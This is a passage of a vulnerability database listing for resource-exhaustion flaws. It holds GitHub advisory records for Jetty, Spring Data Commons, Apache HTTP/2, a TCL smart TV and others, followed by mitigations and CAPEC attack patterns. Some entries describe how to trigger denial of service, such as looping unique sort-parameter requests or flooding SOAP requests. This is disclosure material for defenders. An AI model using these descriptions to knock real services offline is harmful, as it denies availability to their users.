"nvd_published_at": "2025-07-08T17:15:58Z",
"severity": "MODERATE"
},
"details": "Uncontrolled resource consumption in Windows Netlogon allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-884w-hqx3-6fj7",
"modified": "2025-07-08T18:31:49Z",
"published": "2025-07-08T18:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49716"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49716"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-885G-R558-QX2M
Vulnerability from github – Published: 2022-05-13 01:09 – Updated: 2022-05-13 01:09By specially crafting HTTP/2 requests, workers would be allocated 60 seconds longer than necessary, leading to worker exhaustion and a denial of service. Fixed in Apache HTTP Server 2.4.34 (Affected 2.4.18-2.4.30,2.4.33).
{
"affected": [],
"aliases": [
"CVE-2018-1333"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-18T18:29:00Z",
"severity": "HIGH"
},
"details": "By specially crafting HTTP/2 requests, workers would be allocated 60 seconds longer than necessary, leading to worker exhaustion and a denial of service. Fixed in Apache HTTP Server 2.4.34 (Affected 2.4.18-2.4.30,2.4.33).",
"id": "GHSA-885g-r558-qx2m",
"modified": "2022-05-13T01:09:39Z",
"published": "2022-05-13T01:09:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1333"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/tns-2019-09"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3783-1"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbux03909en_us"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20180926-0007"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/re473305a65b4db888e3556e4dae10c2a04ee89dcff2e26ecdbd860a9@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/re3d27b6250aa8548b8845d314bb8a350b3df326cacbbfdfe4d455234@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd2fb621142e7fa187cfe12d7137bf66e7234abcbbcd800074c84a538@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd18c3c43602e66f9cdcf09f1de233804975b9572b0456cc582390b6f@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc998b18880df98bafaade071346690c2bc1444adaa1a1ea464b93f0a@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r15f9aa4427581a1aecb4063f1b4b983511ae1c9935e2a0a6876dad3c@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r06f0d87ebb6d59ed8379633f36f72f5b1f79cadfda72ede0830b42cf@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/84a3714f0878781f6ed84473d1a503d2cc382277e100450209231830@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba@%3Ccvs.httpd.apache.org%3E"
},
{
"type": "WEB",
"url": "https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2018-1333"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:0367"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:0366"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:3558"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041402"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-887C-6389-89QH
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02In JetBrains IntelliJ IDEA before 2021.1, DoS was possible because of unbounded resource allocation.
{
"affected": [],
"aliases": [
"CVE-2021-30504"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-11T12:15:00Z",
"severity": "HIGH"
},
"details": "In JetBrains IntelliJ IDEA before 2021.1, DoS was possible because of unbounded resource allocation.",
"id": "GHSA-887c-6389-89qh",
"modified": "2022-05-24T19:02:09Z",
"published": "2022-05-24T19:02:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30504"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com/blog/2021/05/07/jetbrains-security-bulletin-q1-2021"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-889J-63JV-QHR8
Vulnerability from github – Published: 2025-05-08 19:28 – Updated: 2025-05-08 19:28Original Report
In Eclipse Jetty versions 12.0.0 to 12.0.16 included, an HTTP/2 client can specify a very large value for the HTTP/2 settings parameter SETTINGS_MAX_HEADER_LIST_SIZE. The Jetty HTTP/2 server does not perform validation on this setting, and tries to allocate a ByteBuffer of the specified capacity to encode HTTP responses, likely resulting in OutOfMemoryError being thrown, or even the JVM process exiting.
Impact
Remote peers can cause the JVM to crash or continuously report OOM.
Patches
12.0.17
Workarounds
No workarounds.
References
https://github.com/jetty/jetty.project/issues/12690
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 12.0.16"
},
"package": {
"ecosystem": "Maven",
"name": "org.eclipse.jetty.http2:jetty-http2-common"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.0.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-1948"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-08T19:28:45Z",
"nvd_published_at": "2025-05-08T18:15:41Z",
"severity": "HIGH"
},
"details": "### Original Report\n\nIn Eclipse Jetty versions 12.0.0 to 12.0.16 included, an HTTP/2 client can specify a very large value for the HTTP/2 settings parameter SETTINGS_MAX_HEADER_LIST_SIZE. The Jetty HTTP/2 server does not perform validation on this setting, and tries to allocate a ByteBuffer of the specified capacity to encode HTTP responses, likely resulting in OutOfMemoryError being thrown, or even the JVM process exiting.\n\n### Impact\nRemote peers can cause the JVM to crash or continuously report OOM.\n\n### Patches\n12.0.17\n\n### Workarounds\nNo workarounds.\n\n### References\nhttps://github.com/jetty/jetty.project/issues/12690",
"id": "GHSA-889j-63jv-qhr8",
"modified": "2025-05-08T19:28:45Z",
"published": "2025-05-08T19:28:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-889j-63jv-qhr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1948"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/issues/12690"
},
{
"type": "WEB",
"url": "https://github.com/jetty/jetty.project/commit/c8c2515936ef968dc8a3cecd9e79d1e69291e4bb"
},
{
"type": "PACKAGE",
"url": "https://github.com/jetty/jetty.project"
},
{
"type": "WEB",
"url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/56"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Eclipse Jetty HTTP/2 client can force the server to allocate a humongous byte buffer that may lead to OoM and subsequently the JVM to exit"
}
GHSA-88FW-V6X4-3F58
Vulnerability from github – Published: 2026-07-31 16:44 – Updated: 2026-07-31 16:44src/main/java/org/springframework/data/mapping/context/PersistentPropertyPathFactory.java:175 · Unbounded Resource Allocation (Algorithmic DoS)
Impact
When a consuming module routes user-supplied dot-paths (sort parameters, projection paths, PATCH paths) through MappingContext.getPersistentPropertyPath(String, Class), each distinct string — including invalid ones — is cached forever. A remote attacker can send millions of requests with unique ?sort=aaaa<n> values and grow the heap until the service OOMs.
Description
PersistentPropertyPathFactory.propertyPaths (line 53) is a ConcurrentHashMap<TypeAndPath, PathResolution> populated by getPotentiallyCachedPath() (line 174-177) via computeIfAbsent. The key is (TypeInformation, rawPathString). Crucially, unresolvable paths are also cached (as PathResolution.unresolved, line 204) so that the same InvalidPersistentPropertyPath can be re-thrown — meaning every distinct garbage string an attacker sends creates a permanent entry. There is no eviction. This is reachable from AbstractMappingContext.getPersistentPropertyPath(String, Class) (AbstractMappingContext.java:345), which Spring Data REST and several store query mappers call with HTTP-request-derived sort/filter property names.
By contrast, the sibling SimplePropertyPath.cache was already hardened to use ConcurrentReferenceHashMap (soft refs); this cache was not given the same treatment.
Exploit scenario
Against a Spring Data REST endpoint, an attacker scripts GET /things?sort=<random-40-char-string> in a loop. Each request fails fast with InvalidPersistentPropertyPath, but each distinct random string leaves behind a TypeAndPath key, a PathResolution object holding the split segments list, and the source string in the map. After ~10M requests the JVM OOMs.
Preconditions
- A downstream component (Spring Data REST, a store-specific
QueryMapper, or application code) passes externally-supplied strings toMappingContext.getPersistentPropertyPath(String, ...) - No upstream rate-limiting or path-string validation
How to fix
A cache whose key can be derived from external input must be bounded. Replace propertyPaths (line 53) with a ConcurrentLruCache<TypeAndPath, PathResolution> of fixed capacity, or ConcurrentReferenceHashMap (matching the sibling SimplePropertyPath.cache). Additionally, do not cache PathResolution.unresolved results at all (line 204 in createPersistentPropertyPath) — re-computing a failed lookup is cheap, and caching negative results for arbitrary attacker strings is what makes this exploitable.
Adversarial verification
Verdict: TRUE_POSITIVE (confidence: 7/10) — unbounded hard-ref ConcurrentHashMap keyed by raw path string, caches unresolved entries (line 204), reachable via public MappingContext.getPersistentPropertyPath(String, ...); sibling PropertyPath cache was already converted to soft-refs but this one was missed. -3 confidence because the HTTP-input wiring lives in downstream modules (Spring Data REST / store mappers), not verifiable in this repo.
Code at the line — CONFIRMED
- Line 53: private final Map<TypeAndPath, PathResolution> propertyPaths = new ConcurrentHashMap<>(); — plain CHM, hard refs, no eviction, no size bound.
- Line 175: propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath), ...) — every distinct (type, string) pair is inserted.
- Line 204: return PathResolution.unresolved(parts, segment, type, currentPath); — returned from inside computeIfAbsent's mapping function, so unresolvable paths are cached. The PathResolution retains the full attacker string (source = StringUtils.collectionToDelimitedString(parts, "."), line 452).
Callers within spring-data-commons
- AbstractMappingContext.getPersistentPropertyPath(String, Class<?>) (line 345) and (String, TypeInformation<?>) (line 350) → persistentPropertyPathFactory.from(type, propertyPath) → straight into the unbounded cache. No validation, no PropertyPath.from gate.
- This is the public MappingContext interface (MappingContext.java:174,186), documented to throw InvalidPersistentPropertyPath on bad input — i.e., the contract explicitly anticipates being called with possibly-invalid strings.
- No in-repo caller routes HTTP input directly into the String overload. The Sort.Order.property → getPersistentPropertyPath(String, ...) bridge lives in store modules (Spring Data MongoDB QueryMapper, Spring Data REST sort translator). That wiring is out-of-repo as the finding states.
Protections — NONE on this cache
Contrast: SimplePropertyPath.java:52 (the PropertyPath.from cache) uses ConcurrentReferenceHashMap (soft refs, GC-evictable). Spring already hardened the sibling cache against exactly this pattern. PersistentPropertyPathFactory.propertyPaths was not given the same treatment.
Stress-test
Is this exclusion #3 (intended design)? The PathResolution javadoc (line 426-430) says caching unresolved paths is deliberate — to make repeated lookups of the same bad path cheap. But unbounded hard-ref caching of arbitrary attacker-chosen keys is not the intent; the sibling fix proves Spring considers this a bug class.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.5"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.data:spring-data-commons"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.5.11"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.data:spring-data-commons"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.0"
},
{
"fixed": "3.5.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.data:spring-data-commons"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"last_affected": "3.4.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41695"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T16:44:15Z",
"nvd_published_at": "2026-06-10T00:16:50Z",
"severity": "HIGH"
},
"details": "`src/main/java/org/springframework/data/mapping/context/PersistentPropertyPathFactory.java:175` \u00b7 Unbounded Resource Allocation (Algorithmic DoS)\n\n### Impact\n\nWhen a consuming module routes user-supplied dot-paths (sort parameters, projection paths, PATCH paths) through `MappingContext.getPersistentPropertyPath(String, Class)`, each distinct string \u2014 including invalid ones \u2014 is cached forever. A remote attacker can send millions of requests with unique `?sort=aaaa\u003cn\u003e` values and grow the heap until the service OOMs.\n\n### Description\n\n`PersistentPropertyPathFactory.propertyPaths` (line 53) is a `ConcurrentHashMap\u003cTypeAndPath, PathResolution\u003e` populated by `getPotentiallyCachedPath()` (line 174-177) via `computeIfAbsent`. The key is `(TypeInformation, rawPathString)`. Crucially, unresolvable paths are also cached (as `PathResolution.unresolved`, line 204) so that the same `InvalidPersistentPropertyPath` can be re-thrown \u2014 meaning every distinct garbage string an attacker sends creates a permanent entry. There is no eviction. This is reachable from `AbstractMappingContext.getPersistentPropertyPath(String, Class)` (`AbstractMappingContext.java:345`), which Spring Data REST and several store query mappers call with HTTP-request-derived sort/filter property names.\n\nBy contrast, the sibling `SimplePropertyPath.cache` was already hardened to use `ConcurrentReferenceHashMap` (soft refs); this cache was not given the same treatment.\n\n### Exploit scenario\n\nAgainst a Spring Data REST endpoint, an attacker scripts `GET /things?sort=\u003crandom-40-char-string\u003e` in a loop. Each request fails fast with `InvalidPersistentPropertyPath`, but each distinct random string leaves behind a `TypeAndPath` key, a `PathResolution` object holding the split segments list, and the source string in the map. After ~10M requests the JVM OOMs.\n\n### Preconditions\n\n- A downstream component (Spring Data REST, a store-specific `QueryMapper`, or application code) passes externally-supplied strings to `MappingContext.getPersistentPropertyPath(String, ...)`\n- No upstream rate-limiting or path-string validation\n\n### How to fix\n\nA cache whose key can be derived from external input must be bounded. Replace `propertyPaths` (line 53) with a `ConcurrentLruCache\u003cTypeAndPath, PathResolution\u003e` of fixed capacity, or `ConcurrentReferenceHashMap` (matching the sibling `SimplePropertyPath.cache`). Additionally, do not cache `PathResolution.unresolved` results at all (line 204 in `createPersistentPropertyPath`) \u2014 re-computing a failed lookup is cheap, and caching negative results for arbitrary attacker strings is what makes this exploitable.\n\n### Adversarial verification\n\n**Verdict:** TRUE_POSITIVE (confidence: 7/10) \u2014 unbounded hard-ref `ConcurrentHashMap` keyed by raw path string, caches unresolved entries (line 204), reachable via public `MappingContext.getPersistentPropertyPath(String, ...)`; sibling `PropertyPath` cache was already converted to soft-refs but this one was missed. -3 confidence because the HTTP-input wiring lives in downstream modules (Spring Data REST / store mappers), not verifiable in this repo.\n\n**Code at the line \u2014 CONFIRMED**\n- Line 53: `private final Map\u003cTypeAndPath, PathResolution\u003e propertyPaths = new ConcurrentHashMap\u003c\u003e();` \u2014 plain CHM, hard refs, no eviction, no size bound.\n- Line 175: `propertyPaths.computeIfAbsent(TypeAndPath.of(type, propertyPath), ...)` \u2014 every distinct `(type, string)` pair is inserted.\n- Line 204: `return PathResolution.unresolved(parts, segment, type, currentPath);` \u2014 returned from inside `computeIfAbsent`\u0027s mapping function, so unresolvable paths are cached. The `PathResolution` retains the full attacker string (`source = StringUtils.collectionToDelimitedString(parts, \".\")`, line 452).\n\n**Callers within spring-data-commons**\n- `AbstractMappingContext.getPersistentPropertyPath(String, Class\u003c?\u003e)` (line 345) and `(String, TypeInformation\u003c?\u003e)` (line 350) \u2192 `persistentPropertyPathFactory.from(type, propertyPath)` \u2192 straight into the unbounded cache. No validation, no `PropertyPath.from` gate.\n- This is the public `MappingContext` interface (`MappingContext.java:174,186`), documented to throw `InvalidPersistentPropertyPath` on bad input \u2014 i.e., the contract explicitly anticipates being called with possibly-invalid strings.\n- No in-repo caller routes HTTP input directly into the `String` overload. The `Sort.Order.property` \u2192 `getPersistentPropertyPath(String, ...)` bridge lives in store modules (Spring Data MongoDB `QueryMapper`, Spring Data REST sort translator). That wiring is out-of-repo as the finding states.\n\n**Protections \u2014 NONE on this cache**\nContrast: `SimplePropertyPath.java:52` (the `PropertyPath.from` cache) uses `ConcurrentReferenceHashMap` (soft refs, GC-evictable). Spring already hardened the sibling cache against exactly this pattern. `PersistentPropertyPathFactory.propertyPaths` was not given the same treatment.\n\n**Stress-test**\nIs this exclusion #3 (intended design)? The `PathResolution` javadoc (line 426-430) says caching unresolved paths is deliberate \u2014 to make repeated lookups of the *same* bad path cheap. But unbounded hard-ref caching of *arbitrary attacker-chosen* keys is not the intent; the sibling fix proves Spring considers this a bug class.",
"id": "GHSA-88fw-v6x4-3f58",
"modified": "2026-07-31T16:44:15Z",
"published": "2026-07-31T16:44:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/spring-projects/security-advisories/security/advisories/GHSA-88fw-v6x4-3f58"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41695"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-data-commons/commit/96e9475b963218bb702959524187342671f6b080"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-data-commons/commit/a4f893b66c18c70f2b22f29a2b55097b73c89941"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/security-advisories"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-data-commons/releases/tag/3.5.12"
},
{
"type": "WEB",
"url": "https://github.com/spring-projects/spring-data-commons/releases/tag/4.0.6"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-41695"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Spring Data: Unbounded property-path cache keyed by externally-supplied path string"
}
GHSA-88HF-WF7H-7W4M
Vulnerability from github – Published: 2026-04-28 23:23 – Updated: 2026-05-08 19:32Summary
The Zipkin exporter remote endpoint cache accepted unbounded key growth derived from span attributes. In high-cardinality scenarios, this could increase process memory usage over time and degrade availability.
Details
- Introduce a bounded, thread-safe LRU cache for remote endpoints.
- Enforce fixed maximum size to prevent unbounded growth.
Impact
- A process using Zipkin export for client/producer spans could experience avoidable memory growth under sustained unique remote endpoint values.
Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.15.2"
},
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Exporter.Zipkin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41310"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-28T23:23:28Z",
"nvd_published_at": "2026-05-06T22:16:25Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Zipkin exporter remote endpoint cache accepted unbounded key growth derived from span attributes. In high-cardinality scenarios, this could increase process memory usage over time and degrade availability.\n\n### Details\n\n- Introduce a bounded, thread-safe LRU cache for remote endpoints.\n- Enforce fixed maximum size to prevent unbounded growth.\n\n### Impact\n\n- A process using Zipkin export for client/producer spans could experience avoidable memory growth under sustained unique remote endpoint values.\n\n### Resources\n\n[#7081](https://github.com/open-telemetry/opentelemetry-dotnet/pull/7081)",
"id": "GHSA-88hf-wf7h-7w4m",
"modified": "2026-05-08T19:32:38Z",
"published": "2026-04-28T23:23:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-88hf-wf7h-7w4m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41310"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/7081"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet/commit/c724f4bd6fd88e9a599af1668bf7af9487155b62"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry\u0027s Zipkin remote endpoint cache could grow without bounds and increase memory pressure"
}
GHSA-88J9-XVHV-GWC6
Vulnerability from github – Published: 2023-12-07 21:31 – Updated: 2023-12-07 21:31Under certain circumstances, invalid authentication credentials could be sent to the login endpoint of Johnson Controls Metasys NAE55, SNE, and SNC engines prior to version 12.0.4 and Facility Explorer F4-SNC engines prior to versions 11.0.6 and 12.0.4 to cause denial-of-service.
{
"affected": [],
"aliases": [
"CVE-2023-4486"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-07T20:15:38Z",
"severity": "HIGH"
},
"details": "Under certain circumstances, invalid authentication credentials could be sent to the login endpoint of Johnson Controls Metasys NAE55, SNE, and SNC engines prior to version 12.0.4 and Facility Explorer F4-SNC engines prior to versions 11.0.6 and 12.0.4 to cause denial-of-service.\n\n",
"id": "GHSA-88j9-xvhv-gwc6",
"modified": "2023-12-07T21:31:12Z",
"published": "2023-12-07T21:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4486"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-341-03"
},
{
"type": "WEB",
"url": "https://www.johnsoncontrols.com/cyber-solutions/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-88MP-PM8G-WWCF
Vulnerability from github – Published: 2025-10-03 18:31 – Updated: 2025-10-03 21:30A TCL Smart TV running a vulnerable UPnP/DLNA MediaRenderer implementation is affected by a remote, unauthenticated Denial of Service (DoS) condition. By sending a flood of malformed or oversized SetAVTransportURI SOAP requests to the UPnP control endpoint, an attacker can cause the device to become unresponsive. This denial persists as long as the attack continues and affects all forms of TV operation. Manual user control and even reboots do not restore functionality unless the flood stops.
{
"affected": [],
"aliases": [
"CVE-2025-55972"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-03T16:16:17Z",
"severity": "HIGH"
},
"details": "A TCL Smart TV running a vulnerable UPnP/DLNA MediaRenderer implementation is affected by a remote, unauthenticated Denial of Service (DoS) condition. By sending a flood of malformed or oversized SetAVTransportURI SOAP requests to the UPnP control endpoint, an attacker can cause the device to become unresponsive. This denial persists as long as the attack continues and affects all forms of TV operation. Manual user control and even reboots do not restore functionality unless the flood stops.",
"id": "GHSA-88mp-pm8g-wwcf",
"modified": "2025-10-03T21:30:56Z",
"published": "2025-10-03T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55972"
},
{
"type": "WEB",
"url": "https://github.com/Szym0n13k/CVE-2025-55972-Remote-Unauthenticated-Denial-of-Service-DoS-in-TCL-Smart-TV-UPnP-DLNA-AVTransport"
},
{
"type": "WEB",
"url": "https://www.youtube.com/watch?v=CRik5mp4SW4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.